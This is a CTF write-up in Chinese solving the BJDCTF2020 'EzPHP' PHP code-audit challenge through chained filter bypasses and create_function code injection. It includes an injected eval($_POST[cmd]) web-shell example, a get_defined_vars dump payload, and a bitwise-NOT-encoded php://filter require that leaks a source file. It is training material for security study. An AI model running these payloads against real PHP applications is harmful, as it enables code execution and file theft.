BJDCTF2020EzPHP

知识点

各种绕过 + create_function 函数的构造

解题

题目是一个代码审计

12.png

13.png

1.首先绕过 $_SERVER[‘QUERY_STRING’],这个也是获取字符串查询参数,但是和$ _GET[ ],不同的是,它不能对url编码自动进行解码,所以我们把参数 url编码一下就可以绕过。

2.首尾要匹配aqua_is_cute,但是字符串又不能是这个,我们可以用%0A(换行)来绕过。 $ 这个在非多行模式下,是不匹配换行符的

3.绕过($_REQUEST),因为同一个参数的POST 方法 和 GET 方法,POST方法的优先级更高,所以我们POST一个参数名也为file和debu,值为数字,就可以绕过去

4.读取$file的内容,这个用data协议就可以办到

5.sha1()函数的比较,用数组绕过去

6.最后一个是最关键的一步,create_function()函数注入

介绍 create_function 函数:

有两个参数create_function($string arg,$string code),创建一个类似于lamada样式的东西

例如:

$myfunction=create_function(‘$a,$b’,’return ($a+$b);’);

print_r($myfunction(‘1,2’)); 结果是3

相当于创建了一个函数

function myfunction($a,$b)

{

​ return $a+$b;

}

如果 $code 参数可控, 那么我们可以构造 create_function(‘ $a,$b’,’return $a+$b;}eval($_POST[cmd]);//‘)

产生的效果就是:

function myfunction($a,$b)

{

​ return $a+$b;}eval($_POST[cmd]);//

}

}闭合前面的{,后面的eval逃逸出来,并且// 注释了原先的} ,造成了注入

在此题中,我们可以利用到一个函数 get_defined_vars(),这个是可以得到所有的变量,我们在配合 var_dump()函数去打印出来

即构造 flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

最后加在后面打出来:

14.png

告诉我们在 rea1fl4g.php里面,arg参数过滤了很多可以利用的函数,但是没有过滤require,我们可以用require函数来把它包含进来,然后利用伪协议读它的base64形式,require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php) 但是伪协议也被ban了,这个时候我们用取反来绕过去:

1
2
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1
%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

解密得到flag